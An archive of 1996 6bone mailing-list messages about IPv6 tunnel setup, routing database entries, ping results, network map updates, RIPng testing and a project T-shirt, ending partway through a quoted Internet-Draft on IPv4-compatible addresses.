
So far its Yes =2 and No = 1.

/jim

From majordom@ISI.EDU  Tue Oct 29 17:13:47 1996
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To: rja@Cisco.COM (Ran Atkinson)
Cc: 6bone@isi.edu
Subject: Re: IPv6-capable web browser ?? 
In-Reply-To: Your message of "Tue, 29 Oct 96 13:13:18 PST."
             <199610292113.NAA17289@cornpuffs.cisco.com> 
Date: Tue, 29 Oct 96 22:13:47 -0500
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Contact mccann@zk3.dec.com.  NASA has one too via Andrew.  The two have
interoperated offline via the 6bone.  Appache is the code base.

/jim

From majordom@ISI.EDU  Tue Oct 29 18:00:56 1996
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To: rja@cisco.com (Ran Atkinson)
Cc: Matt Crawford    <crawdad@fnal.gov>, 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: Tshirt info on 6bone web page 
In-Reply-To: Your message of "Tue, 29 Oct 96 09:10:05 PST."
             <199610291710.JAA12769@cornpuffs.cisco.com> 
Date: Tue, 29 Oct 96 23:00:56 -0500
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I agree on two counts with your mail.

1) Nothing should detract from the main point of the 6bone.

2) Its bob's probject...etc..

I am not clear now that #1 above would be affected if it would then the
vendors should not be on the T-Shirt.  In fact right now Bob is the only
one who has this design in his head completely and if he feels that in
anyway that this will detract from its purpose and states that then  I
will also vote no implementations on the T-Shirt?

Bob if this is the case I and others need to know that?      

But Bob should not have asked for any input or all input is what I was
stating.   Bob stated he got input offline not on the 6bone.

 1) I don't think thats right or fair.

 2) Yes it was hostile as a lot of things happen offline that should 
    not and two other things went down on this 6bone effort that were
    offline that affected others and I dealt with it offline with Bob
    and it got fixed.  I felt that this situation called for some
    intensity as Bob can't control who sends him data offline.  So my
    intensity is for those who did not want to state this to the entire
    community in public, but thats their option.  But its mine to have
    the question polled to this community. 

To me this is not hostile but intense.  Hostile is if I am in a meeting
and pick up a chair and bash someone in the head with it.  Or push my
fist in their nose.  Etc. Etc...  If I perceive an injustice I will
always be intense and note I said ...."I hope I am wrong" meaning I was
not sure.  If that intensity bothers others when I did not attack them
or anyone (which I did not) or slight them, then thats just too bad it 
must be hard to go outside every day on the street if this intensity
bothers you.  

/jim


From majordom@ISI.EDU  Wed Oct 30 22:22:39 1996
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Date: Wed, 30 Oct 1996 13:22:39 +0900
To: 6bone@ISI.EDU (6BONE Mailer)
From: sakurai@rinfo.sumiden.co.jp (Akihiro Sakurai)
Subject: New Tunnels
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All,

I have connected an IPv6 router at Sumitomo Electric to the 6bone
and I put SUMITOMO-JP entry at RIPE.
There are two tunnels from SUMITOMO-JP.

        SUMITOMO-JP <-> SUMITOMO-USA
        SUMITOMO-JP <-> NUS-IRDU

If sites carrying full routing could add an appropriate
routing entry, that would be appreciated.

Bob,

If you could update the map accordingly when time permits,
that would be much appreciated.

Regards,

------------------------------------------------------------------------
Akihiro Sakurai ($B]/0f(J $B>O9-(J)          E-mail:sakurai@rinfo.sumiden.co.jp
Systems and Electronics R & D Center, Sumitomo Electric Industries, Ltd.
Phone +81-6-466-5601 Fax +81-6-462-4586



From majordom@ISI.EDU  Wed Oct 30 07:21:14 1996
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To: RLFink@lbl.gov
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Subject: T-shirts
Date: Wed, 30 Oct 96 12:21:14 -0500
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Bob,

Spoke with Matt Crawford off line and he pointed out the errors of my
thinking.  You asked for input not consensus.  I apologize I missed this
point.  The only defense I have is I am very paranoid of the
good-ole-boy network that has joined this list.  Its your call and I
think the key point is for people to see that the 6bone is working and
growing exponentially.  

Sincerely,
/jim

From majordom@ISI.EDU  Wed Oct 30 09:04:16 1996
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From: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
To: 6bone@isi.edu
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Subject: New Site: IBM
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We've just brought our tunnel up to NRL (thanks to Ron Lee for all
the help).  Our RIPE entry is:

site:           IBM Global Network
location:       Harrison, New York, USA
loc-string:     ?
prefix:         5fff:b400:c0e7:0b00::0/64
ping:           5fff:b400:c0e7:0b00:0000:0000:0000:0001
tunnel:         192.231.11.103 132.250.90.5  NRL
contact:        Matt Ganis <ganis@vnet.ibm.com>
status:         operational since October 29, 1996
remark:         please report any problems to contact above.
source:         RIPE


                                 Matt Ganis.


***********************************************************************
"The best way to get praise    |        Return Address:
  is to die"                   | IBM VNET: GANIS at RHQVM19
              Italian Proverb  | Internet: ganis@vnet.ibm.com
                               | IPNET: ganis@bacchus.ims.advantis.com

From majordom@ISI.EDU  Wed Oct 30 07:51:02 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 30 Oct 1996 15:51:02 PST
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To: rlfink@lbl.gov
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A new IPv6 tunnel has been setup from 6bone-router.cisco.com to
netgod.org.  The ping is attached below.  Cisco's entry in the
RIPE IPv6 database will be updated in a few minutes.

If sites maintaining full routing could update their routing tables
and if the map maintainers could add this link, it would be
appreciated.

Ran
rja@cisco.com


-- 
From majordom@ISI.EDU  Wed Oct 30 07:51:40 1996
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From: rja@cisco.com (Ran Atkinson)
Date: Wed, 30 Oct 1996 15:51:40 PST
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Sorry,

  I forgot to actually cut/paste the ping.  Here's the ping data:

6bone-router#ping ipv6 netgod-ipv6

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 5F11:B600:CE81:4100::0020:AF9E:4703,
timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 36/44/52 ms

Ran

-- 

From majordom@ISI.EDU  Thu Oct 31 04:28:42 1996
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From: "Matthew R. Ganis (914) 684-4575" <ganis@VNET.IBM.COM>
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We had some routing problems here but I think everything is
corrected now.  I'm routing 5f00::0/8 to NRL now. previous I
was only routing NRL's prefix.  Could others please update their
routing tables to include us (5fff:b400:c0e7:b00::/64)

                                     thanks,
                                          Matt.


***********************************************************************
"The best way to get praise    |        Return Address:
  is to die"                   | IBM VNET: GANIS at RHQVM19
              Italian Proverb  | Internet: ganis@vnet.ibm.com
                               | IPNET: ganis@bacchus.ims.advantis.com

From majordom@ISI.EDU  Fri Nov  1 11:16:50 1996
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	id <AA05138>; Fri, 1 Nov 1996 01:16:19 -0800
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Date: Fri, 01 Nov 1996 10:16:50 +0100
From: Thomas Eklund <thomas.eklund@era-t.ericsson.se>
Organization: Ericsson Radio Systems
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Hi,
I just want to announce that a new site (ERA - ERicsson Radio Systems) 
is up and running on the 6bone. And I'm happy to set up a tunnel to 
anyone who wants it. Currently there are 5 tunnels up and running in 
both directions. They are to SICS, UNI-C, Telebit, G6 and NRL.

The RIPE database entry look like:
-----------------------------------
site:           ERA - Ericsson Radio Systems
location:       Kista (Stockholm), SWEDEN
prefix:         5f0b:1700:c047:1400::/64
ping:           5f0b:1700:c047:1400::800:200d:1cfe
tunnel:         192.71.20.139 193.10.66.50    SICS
tunnel:         192.71.20.139 129.88.26.1     G6
tunnel:         192.71.20.139 194.182.135.253 Telebit
tunnel:         192.71.20.139 132.250.90.5    NRL
tunnel:         192.71.20.139 130.225.231.5   UNI-C
contact:        Thomas Eklund <thomas.eklund@era-t.ericsson.se>
status:         operational since 29 oct 1996
remark:         Sun workstation running NetBSD
remark:         with INRIAS implementation of IPv6
changed:        thomas.eklund@era-t.ericsson.se 961029
source:         RIPE
------------------------------------

Regards /Thomas Eklund thomas.eklund@era-t.ericsson.se :-)

From majordom@ISI.EDU  Fri Nov  1 18:49:19 1996
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Message-Id: <327A2A0F.490B@tbit.dk>
Date: Fri, 01 Nov 1996 17:49:19 +0100
From: "Martin D. Peck" <mdp@tbit.dk>
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Hi Bob,

Three operational tunnels have been added.

ifb (Internet For Business, Aberdeen) to Telebit (Viby): Dynamic Route
G6 (Grenoble) to Telebit (Viby): Static Route
ERA (Ericsson Radio Systems, Kista) to Telebit (Viby): Static Route

Our RIPE database entry is now as follows.

site:           telebit communications a/s
location:       Viby J. , Denmark
prefix:         5f0c:bf00/32
ping:           5f0c:bf00:C2b6:8700:00fd:1111:1111:1111
ping:           5f0c:bf00:C2b6:8700:00fd:2222:2222:2222
tunnel:         194.182.135.253 130.225.231.5    UNI-C   IDRPv6
tunnel:         194.182.135.253 128.176.191.66   JOIN    IDRPv6
tunnel:         194.182.135.253 194.105.166.254  ifb     IDRPv6
tunnel:         194.182.135.253 193.55.240.18    G6      Static
tunnel:         194.182.135.253 192.71.20.139    ERA     Static
contact:        supp@tbit.dk
status:         operational 
remark:         http://www.tbit.dk 
changed:        hha@tbit.dk 961101
source:         RIPE


Many Thanks, 

Martin
em:  info@tbit.dk

From majordom@ISI.EDU  Thu Oct 31 23:53:37 1996
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Date: Fri, 1 Nov 1996 07:53:37 -0800
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change, new sites and tunnels
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6bone Diagram version 31:

	New site NETGOD/US, tunneled to CISCO/US

	New site IFB/UK, tunneled to UMAN/UK and TELEBIT/DK

	New site IBM/US, tunneled to NRL/US

	New site SUMITOMO-JP, tunneled to NUS-IRDU/SG & SUMITOMO-USA/JP

	New site ERS/SE, tunneled to TELEBIT/DK, UNI-C/DK, SICS/SE, G6/FR &
NRL/US

Welcome to all the new sites!

Please sanity check your sites connectivity in the drawing, and double
check all the multi-homed links are in their corresponding RIPE-NCC entries.


This may "cook" this form of map (tho I can stress it a while longer) and
may soon need to change to a transit map for the top level with submaps
below.


Thanks,

Bob



From majordom@ISI.EDU  Fri Nov  1 08:32:25 1996
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Date: Fri, 1 Nov 1996 13:32:25 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
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Folks,

Does any one have a RIPng implementation that they would like
to try with a Bay router via a tunnel link?

Thanks,
  Dimitry

From majordom@ISI.EDU  Fri Nov  1 02:50:57 1996
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list

From majordom@ISI.EDU  Fri Nov  1 03:38:21 1996
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Date: Fri, 1 Nov 1996 11:38:21 -0800
To: <bound@zk3.dec.com>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: T-shirts
Cc: 6bone@isi.edu
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Jim,

At 9:21 AM -0800 10/30/96, <bound@zk3.dec.com> wrote:
>Spoke with Matt Crawford off line and he pointed out the errors of my
>thinking.  You asked for input not consensus.  I apologize I missed this
>point.  The only defense I have is I am very paranoid of the
>good-ole-boy network that has joined this list.  Its your call and I
>think the key point is for people to see that the 6bone is working and
>growing exponentially.

Thanks for your nice note.  To be honest, I'm often not even aware when
someone emails me and doesn't cc: the list...nor do I generally care.

It is still my inclination to keep the Tshirt with just the globe and the
country/site listing as, IMHO, it will be the most visual impact to those
seeing us wearing it.   And, of course, Bay, Cisco, Digital, Telebit and
other implementation companies will clearly show on it and I doubt anyone
will miss the significance of that.


Thanks,

Bob



From majordom@ISI.EDU  Fri Nov  1 03:51:18 1996
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I have added ERA, NETGOD, IBM and verified that the map is current with the
RIPE database (as of 0800 PST). Sometime this weekend I'll try and produce the
seperations for the T-shirt for Bob. If there are any last minute tunnel
changes, let me know before Sunday.

I'm going to start publishing the tunnels that I've found to be asymmetric. In
munging the data I can produce some stats... This most current run is shown
below:

121 (63 / 58 dups) tunnels processed for 43 sites.
Asymmetric tunnel: ERA (192.71.20.139) --> SICS (193.10.66.50)
Asymmetric tunnel: ERA (192.71.20.139) --> G6 (129.88.26.1)
Asymmetric tunnel: NETGOD (206.129.65.250) --> WWU (140.160.166.22)
Asymmetric tunnel: NRL (132.250.90.5) --> IFB (194.105.166.254)
Asymmetric tunnel: TELEBIT (194.182.135.253) --> G6 (193.55.240.18)

Meaning my program found 43 RIPE-NCC files (I removed NUS since it duplicated
NUS-IRDU) with 121 tunnels. Of those, 63 were original and 58 were the
reverse-direction. Five tunnels (listed above) do not have both directions
defined in both files.



-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Fri Nov  1 09:54:04 1996
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Message-Id: <199611011954.OAA26394@merit.edu>
To: dhaskin@baynetworks.com (Dimitry Haskin)
Cc: 6bone@ISI.EDU
Subject: Re: RIP on 6bone 
In-Reply-To: Your message of "Fri, 01 Nov 1996 13:32:25 EST."
             <199611011832.NAA28369@pobox.BayNetworks.com> 
Date: Fri, 01 Nov 1996 14:54:04 -0500
From: Masaki Hirabaru <masaki@merit.edu>
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Dimitry,

We've developed RIPng implementation which works on Solaris,
INRIA and Linux ipv6. If we have a chance to try with another
RIPng implementation, it's greatly appriciated.

Masaki
Merit Network

> Date: Fri, 1 Nov 1996 13:32:25 -0500
> From: dhaskin@baynetworks.com (Dimitry Haskin)
> Message-Id: <199611011832.NAA28369@pobox.BayNetworks.com>
> To: 6bone@ISI.EDU
> Subject: RIP on 6bone
> Sender: owner-6bone@ISI.EDU
> Precedence: bulk
> 
> Folks,
> 
> Does any one have a RIPng implementation that they would like
> to try with a Bay router via a tunnel link?
> 
> Thanks,
>   Dimitry


From majordom@ISI.EDU  Sat Nov  2 06:31:15 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU
Subject: Re: T-shirts 
In-Reply-To: Your message of "Fri, 01 Nov 96 11:38:21 PST."
             <v03007857ae9fff90325d@[128.3.9.22]> 
Date: Sat, 02 Nov 96 11:31:15 -0500
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I am in synch now and look forward to wearing the TShirt.  

p.s. the requests I am seeing for 6bone access and Digital kits is
getting to the point that its going to require us to have someone on it
full time with the way things are going.   Its moving much faster than I
expected.  I am also now hearing of private Intranets that want to run
IPv6 and not wait on "whoever" which is also moving faster than I
projected in my mind and to my superiors.  

thanks for the hard work,
/jim

From majordom@ISI.EDU  Sat Nov  2 17:24:41 1996
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From: Jonathan Day <jcday@jpd.ch.man.ac.uk>
Message-Id: <199611021724.RAA01217@jpd.ch.man.ac.uk>
Subject: Re: T-shirts
To: 6bone@isi.edu
Date: Sat, 2 Nov 1996 17:24:41 +0000 (GMT)
In-Reply-To: <9611021631.AA05390@wasted.zk3.dec.com> from "bound@zk3.dec.com" at Nov 2, 96 11:31:15 am
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> I am in synch now and look forward to wearing the TShirt.  

Same here. When's the T-Shirt shipping & how much will it cost to
those of us in Merrie Englande?
 
> p.s. the requests I am seeing for 6bone access and Digital kits is
> getting to the point that its going to require us to have someone on it
> full time with the way things are going.   Its moving much faster than I
> expected.  I am also now hearing of private Intranets that want to run
> IPv6 and not wait on "whoever" which is also moving faster than I
> projected in my mind and to my superiors.  

It doesn't surprise me that much. These sorts of technological changes
are bound to attract a lot of attention which, in turn, will lead to
further developments, which in turn will generate yet more attention.
It's much more surprising that anyone would be surprised by it. To be
honest, I can't think of many developments in computing in the past 16
years that haven't followed the same pattern.

IMHO, it's vitally important that the pace of change is sustained and
that more 'user-side' software is developed to feed that pace.

Jonathan


From majordom@ISI.EDU  Sun Nov  3 11:07:58 1996
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From: "Peter Curran" <pcurran@ticl.co.uk>
To: "Jonathan Day" <jcday@jpd.ch.man.ac.uk>, <6bone@ISI.EDU>
Subject: Re: T-shirts
Date: Sun, 3 Nov 1996 11:07:58 -0000
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> > I am in synch now and look forward to wearing the TShirt.  
> 
> Same here. When's the T-Shirt shipping & how much will it cost to
> those of us in Merrie Englande?
>  

To make things easier: It would probably be easier (cheaper) if a person
collected orders for the T-Shirt from UK boners and a single batch was
shipped across the pond.  If nobody else wants to volunteer then I will be
happy to do it.

Peter

=======================================================================
Peter Curran                     | Internet & Security Consultancy
The Internet Connection Ltd      | Name Registration Service
pcurran@ticl.co.uk               | Training & Seminars
phone: +44-1306-881944           | http://www.ticl.co.uk
=======================================================================

From majordom@ISI.EDU  Sun Nov  3 16:01:30 1996
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From: "Jitu Patel (IP (V6/V4) and OSI Routing), REO2-F/D8 DTN 830 3520" <patel@marvin.enet.dec.com>
To: dhaskin@baynetworks.com
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Apparently-To: 6bone@isi.edu, dhaskin@baynetworks.com
Subject: RE: RIP on 6bone
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Dimitry,
I  have RIPNg on our Digital routers.  I will set it up tomorrow.  You could
try  connecting  to pax-6bone.pa-x.dec.com from you end.  What is the tunnel
address at your end ?

	Jitu

From majordom@ISI.EDU  Mon Nov  4 00:11:59 1996
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Date: Mon, 4 Nov 1996 08:11:59 -0800
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From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
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6bone diagram version 32:

	Add new tunnel from TELEBIT/DK to G6/FR

	minor other corrections (or...Bob may eventually get it right :-)


Thanks,

Bob

====
Date: Fri, 01 Nov 1996 17:49:19 +0100
From: "Martin D. Peck" <mdp@tbit.dk>
MIME-Version: 1.0
To: RLFink@lbl.gov
CC: 6bone@ISI.EDU
Subject: New Tunnels

Hi Bob,

Three operational tunnels have been added.

ifb (Internet For Business, Aberdeen) to Telebit (Viby): Dynamic Route
G6 (Grenoble) to Telebit (Viby): Static Route
ERA (Ericsson Radio Systems, Kista) to Telebit (Viby): Static Route

Our RIPE database entry is now as follows.

site:           telebit communications a/s
location:       Viby J. , Denmark
prefix:         5f0c:bf00/32
ping:           5f0c:bf00:C2b6:8700:00fd:1111:1111:1111
ping:           5f0c:bf00:C2b6:8700:00fd:2222:2222:2222
tunnel:         194.182.135.253 130.225.231.5    UNI-C   IDRPv6
tunnel:         194.182.135.253 128.176.191.66   JOIN    IDRPv6
tunnel:         194.182.135.253 194.105.166.254  ifb     IDRPv6
tunnel:         194.182.135.253 193.55.240.18    G6      Static
tunnel:         194.182.135.253 192.71.20.139    ERA     Static
contact:        supp@tbit.dk
status:         operational
remark:         http://www.tbit.dk
changed:        hha@tbit.dk 961101
source:         RIPE


Many Thanks,

Martin
em:  info@tbit.dk

-



From majordom@ISI.EDU  Mon Nov  4 08:23:37 1996
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From: "Jitu Patel (IP (V6/V4) and OSI Routing), REO2-F/D8 DTN 830 3520" <patel@marvin.enet.dec.com>
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---------------------Reply to mail dated 1-NOV-1996 19:21---------------------

Dimitry,
I  have RIPNg on our Digital routers.  I will set it up tomorrow.  You could
try connecting to pax-6bone.pa-x.dec.com from you end.

From majordom@ISI.EDU  Mon Nov  4 20:09:39 1996
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Date: Mon, 4 Nov 1996 19:09:39 +0100
In-Reply-To: Bob Fink LBNL <RLFink@lbl.gov>
        "6bone map change" (Nov  4,  8:11am)
References: <v03007808aea3c5db13be@[128.3.9.22]>
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To: Bob Fink LBNL <RLFink@lbl.gov>, 6bone@ISI.EDU (6BONE Mailer)
Subject: 2 new tunnels
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There are 2 new tunnels:
G6 <-> BAY and G6 <-> NRL

My ripe database entry is updated.
Here is the ping trace:

BAY:
ganesha# ping6 -c 5 5F02:3000:C020:AE00:201D:0000:C020:1D3E
trying to get source for 5F02:3000:C020:AE00:201D:0000:C020:1D3E
source should be 5f06:b500:8158:1a00:1:0:8158:1a01
PING 5F02:3000:C020:AE00:201D:0000:C020:1D3E
(5f02:3000:c020:ae00:201d:0:c020:1d3e): 56 data bytes
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=0 ttl=60
time=499.989 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=2 ttl=60
time=435.784 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=3 ttl=60
time=479.540 ms
64 bytes from 5f02:3000:c020:ae00:201d:0:c020:1d3e: icmp6_seq=4 ttl=60
time=459.113 ms

--- 5F02:3000:C020:AE00:201D:0000:C020:1D3E ping statistics ---
5 packets transmitted, 4 packets received, 20% packet loss
round-trip min/avg/max = 435.784/468.606/499.989 ms


NRL:
ganesha# ping6 -c 5 5f00:3000:84fa:5a00:0000:0000:0000:0005
trying to get source for 5f00:3000:84fa:5a00:0000:0000:0000:0005
source should be 5f06:b500:8158:1a00:1:0:8158:1a01
PING 5f00:3000:84fa:5a00:0000:0000:0000:0005 (5f00:3000:84fa:5a00::5): 56 data
bytes
64 bytes from 5f00:3000:84fa:5a00::5: icmp6_seq=0 ttl=255 time=284.635 ms
64 bytes from 5f00:3000:84fa:5a00::5: icmp6_seq=1 ttl=255 time=345.466 ms
64 bytes from 5f00:3000:84fa:5a00::5: icmp6_seq=2 ttl=255 time=321.975 ms
64 bytes from 5f00:3000:84fa:5a00::5: icmp6_seq=3 ttl=255 time=334.663 ms
64 bytes from 5f00:3000:84fa:5a00::5: icmp6_seq=4 ttl=255 time=345.428 ms

--- 5f00:3000:84fa:5a00:0000:0000:0000:0005 ping statistics ---
5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 284.635/326.433/345.466 ms

	- Alain.

From majordom@ISI.EDU  Mon Nov  4 20:59:02 1996
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From: "Alain Durand" <Alain.Durand@imag.fr>
Message-Id: <961104195902.ZM17007@rama.imag.fr>
Date: Mon, 4 Nov 1996 19:59:02 +0100
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Subject: full routing table
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6bone-gw.ipv6.imag.fr is now carrying a full routing table.

	- Alain.

From majordom@ISI.EDU  Mon Nov  4 11:40:06 1996
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Date: Mon, 4 Nov 1996 16:40:06 -0500
From: dhaskin@baynetworks.com (Dimitry Haskin)
Message-Id: <199611042140.QAA24124@pobox.BayNetworks.com>
To: RLFink@lbl.gov
Subject: new tunnels
Cc: 6bone@ISI.EDU
Sender: owner-6bone@ISI.EDU
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Hi,

I've update Bay's ripe database entry with new tunnels:

1)
    BAY <-> UNI-C

    ping -ip6 5f07:2b00:82e1:e700:5:c0:3302:31 -v
    16 bytes from (5F07:2B00:82E1:E700:0005:00C0:3302:0031): icmp_seq=0, time= 410 ms

    ---- IPV6 PING Statistics----
    IPV6 ping: [5F07:2B00:82E1:E700:0005:00C0:3302:0031] responded to 1 out of 1: 100% success.
    round-trip (ms) min/avg/max = 410/410/410

2)
    BAY <-> JOIN project

    ping -ip6 5f04:fb00:80b0::bf42:00c0:3302:0014 -v
    16 bytes from (5F04:FB00:80B0:0000:BF42:00C0:3302:0014): icmp_seq=0, time= 273 ms

     --- IPV6 PING Statistics----
     IPV6 ping: [5F04:FB00:80B0:0000:BF42:00C0:3302:0014] responded to 1 out of 1: 100% success.
     round-trip (ms) min/avg/max = 273/273/273

3)
    BAY <-> G6

    ping -ip6 5f06:b500:8158:1a00:1:0:8158:1a01 -r5 -v
    16 bytes from (5F06:B500:8158:1A00:0001:0000:8158:1A01): icmp_seq=0, time= 183 ms
    16 bytes from (5F06:B500:8158:1A00:0001:0000:8158:1A01): icmp_seq=1, time= 175 ms
    16 bytes from (5F06:B500:8158:1A00:0001:0000:8158:1A01): icmp_seq=2, time= 171 ms
    16 bytes from (5F06:B500:8158:1A00:0001:0000:8158:1A01): icmp_seq=3, time= 1 ms
    16 bytes from (5F06:B500:8158:1A00:0001:0000:8158:1A01): icmp_seq=4, time= 203 ms


    ---- IPV6 PING Statistics----
    IPV6 ping: [5F06:B500:8158:1A00:0001:0000:8158:1A01] responded to 5 out of 5: 100% success.
    round-trip (ms) min/avg/max = 1/146/203


Dimitry

From majordom@ISI.EDU  Mon Nov  4 06:56:56 1996
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From: Tony Hain <tonyhain@microsoft.com>
To: "'qv@iol.unh.edu'" <qv@iol.unh.edu>
Cc: "'gilligan@free-gate.com'" <gilligan@free-gate.com>,
        "'dan@lkg.dec.com'" <dan@lkg.dec.com>,
        "'sob@harvard.edu'"
	 <sob@harvard.edu>,
        "'6bone@isi.edu'" <6bone@isi.edu>
Subject: RE: Internet Draft Submission
Date: Mon, 4 Nov 1996 14:56:56 -0800
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Quaizar,

While I will be glad to make time for discussing this on the agenda in
San Jose, I would like to warn you now that I think you are headed off
course with this paper. It appears you are retracing some old ground and
are trying to minimize the work to implement the software rather than
the work to implement the network. A few specific issues:

I don't see any place in draft-ietf-ipngwg-ipv6-tunnel-04.txt that talks
about V6 over V4 tunnels. What it is defining are encapsulations over V6
tunnels. In fact you should be looking at RFC1701 for use of V4 as a
tunnel media.

Trying to prohibit a V4 compatible address from communicating with a V6
only address increases the complexity since the node with the V4
compatible address will have to have another V6 only address to talk to
the desired destination. 

I don't see the distinction between your Class 1 & 2 end systems in
terms of address usage. Any isolated node will need a V4 address to get
across that media. If it does not build an RFC1701 tunnel to its next
hop it will need a V4 compatible V6 address, otherwise any V6 address
should work.

Also, use of automatic tunnels does not imply that the entire Internet
has to use V4 compatible addresses. Only the systems which wish to
communicate with each other directly need this. What the automatic
tunneling systems need is a configured default V6 router which will get
them to non-V4 addressable destinations.

Finally, manually configured tunnels will be an administrative reality
for network management and diagnostics. Trying to push automatic
tunneling into these environments will only delay the roll out of V6. 


Tony


PS: I guess I have been disconnected from the NGTRANS mailer since I
moved to Microsoft. I just assumed the list had gone dormant. If there
are issues in the deployment that are restricting progress we should
make sure they are talked about in San Jose.



>----------
>From: 	qv@iol.unh.edu[SMTP:qv@iol.unh.edu]
>Sent: 	Monday, November 04, 1996 12:57 PM
>To: 	internet-drafts@ietf.org
>Cc: 	Tony Hain; gilligan@free-gate.com; dan@lkg.dec.com; qv@sun4.iol.unh.edu
>Subject: 	Internet Draft Submission
>
>Dear Editor,
>	We wish to submit an internet draft to the ngtrans working
>group. Please forward all the correspondance to my e-mail address as
>my co-author would be temporarily off the net.
>
>Thanks,
>Quaizar
>
>Quaizar Vohra
>Inter-Operatibility Lab. (IOL), Univ. of New Hampshire
>E-mail : qv@sun4.iol.unh.edu
>Phone : (603)-862-0090
>
>----------------------------------------------------------------
>IPng Transition                                           Dan Harrington
>Internet Draft                                   Digital Equipment Corp.
>                                                           Quaizar Vohra
>                                             University of New Hampshire
>                                                           November 1996
>
>         Limiting the role of IPv4-compatible Addresses in IPv6
>
>                 draft-harrington-ngtrans-v4comp-00.txt
>
>Abstract
>
>   This draft presents a proposal to limit IPv4-compatible IPv6 
>   addresses to tunnelling interfaces in the transition from IPv4 to 
>   IPv6. The reasons and context for restricting the usage in this 
>   manner will be presented.
>
>Status of This Memo
>
>   This document is a submission to the NGtrans Working Group of the 
>   Internet Engineering Task Force (IETF).  Comments should be 
>   submitted to the ngtrans@sunroof.end.sun.com mailing list.  The 
>   authors invite discussion and feedback on this topic.
>
>   This document is an Internet-Draft.  Internet-Drafts are working 
>   documents of the Internet Engineering Task Force (IETF), its areas, 
>   and its working groups.  Note that other groups may also distribute 
>   working documents as Internet-Drafts.
>
>   Internet-Drafts are draft documents valid for a maximum of six 
>   months and may be updated, replaced, or obsoleted by other documents 
>   at any time.  It is inappropriate to use Internet-Drafts as 
>   reference material or to cite them other than as ``work in 
>   progress.''
>
>   To learn the current status of any Internet-Draft, please check the 
>   ``1id-abstracts.txt'' listing contained in the Internet-Drafts 
>   Shadow Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe), 
>   munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or 
>   ftp.isi.edu (US West Coast).
>
>   Distribution of this document is unlimited.
>
>
>Table Of Contents
>
>       1. Introduction                                                 3
>       2. Architectural and Philosophical Issues                       3
>       3. Isolated Hosts                                               4
>          3.1. Class 1 Isolated Nodes                                  4
>          3.2. Class 2 Isolated Nodes                                  4
>       4. Other Issues                                                 5
>          4.1. Host Issues                                             5
>
>Expires May 1997                                                [Page 1]
>
>Internet Draft          IPv4-compatible Addresses          November 1996
>
>          4.2. Router Issues                                           5
>       5. Acknowledgements                                             6
>       6. References                                                   6
>       7. Author's Addresses                                           6
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>Expires May 1997                                                [Page 2]
>
>Internet Draft          IPv4-compatible Addresses          November 1996
>
>1. Introduction
>
>   IPv4-compatible addresses are designed to ease the transition of 
>   IPv4 to IPv6, by utilizing the readily available IPv4 address space 
>   and protocols to provide IPv6 connectivity.  They currently serve 
>   two roles, both related to tunnelling:
>
>         - To allow isolated IPv6 nodes to come up on the Internet
>           and communicate with other IPv6 nodes via automatic tunneling,
>           which requires a minimal amount of configuration.  
>
>         - Identifying an IPv6 router's next-hop interface address over
>           a manually configured tunnel.
>
>   These tasks both require implementations to treat an IPv4 tunnel as 
>   a pseudo-NBMA link, where ::/96 is treated as an on-link IPv6 prefix 
>   for the tunnel interface.  In this model, all IPv4-compatible 
>   addresses are on-link to the tunnel interface and the IPv4 Internet 
>   forms one large link layer, in which address resolution is a trivial 
>   function. Manually configured tunnels are used with static routes to 
>   IPv6 prefixes, where the next-hop is an IPv4-compatible address on 
>   the link. While this link type does not use the standard link-local 
>   prefix of FE80:: or Neighbor Discovery protocols, it does have its 
>   own characteristics and rules [V6TUNNELS].  Conceptually, then, it 
>   can be seen that IPv6 packets using IPv4-compatible addresses could 
>   be treated as using a special type of link-local address, and the 
>   Hop Limit could be set to a value of 1 with no dire consequences.
>
>   The current Transition Mechanisms specification [RFC1933], however, 
>   also include a provision to allow an IPv4-compatible address to be 
>   assigned to an interface for native IPv6 communications, with all 
>   the requirements of Neighbor Discovery.  It is this usage which we 
>   wish to prohibit, for the sake of reduced complexity and increased 
>   interoperability.
>
>2. Architectural and Philosophical Issues
>
>   Although IPv4 and IPv6 represent different network protocols, IPv4 
>   addresses can be represented as IPv6 addresses.  However, they still 
>   define an IPv4 endpoint, that is, an interface on a link connected 
>   to an IPv4 network, using IPv4 protocols.  Using them in multiple 
>   fashions, for both IPv4 and IPv6 packets on a given interface as 
>   well as for tunnelling, can and will lead to interoperability 
>   problems, as has been reported on the NGTRANS mailing list [NGLIST]. 
>   This dual usage also leads to unnecessary implementation complexity; 
>   for example, the source address selection algorithm should not 
>   permit the use of an IPv4-compatible address (as source or 
>   destination) with a global IPv6 address (as destination or source).
>
>   As mentioned above, the encapsulation of IPv6 packets in IPv4 
>   packets essentially uses the IPv4 network as a specialized media 
>   type. The "Generic Packet Tunneling in IPv6" [V6TUNNELS] 
>   specification gives the mechanism by which one protocol may be run 
>   over another.  In keeping with the general IP philosophy of an 
>
>
>Expires May 1997                                                [Page 3]
>
>Internet Draft          IPv4-compatible Addresses          November 1996
>
>   address being associated with a particular interface [RFC1122], it 
>   should be held that a tunnel interface is not merely an abstraction, 
>   but a "real" interface to a specific media type, with its own rules 
>   and behaviours.
>
>   Finally, restricting the usage of IPv4-compatible addresses will 
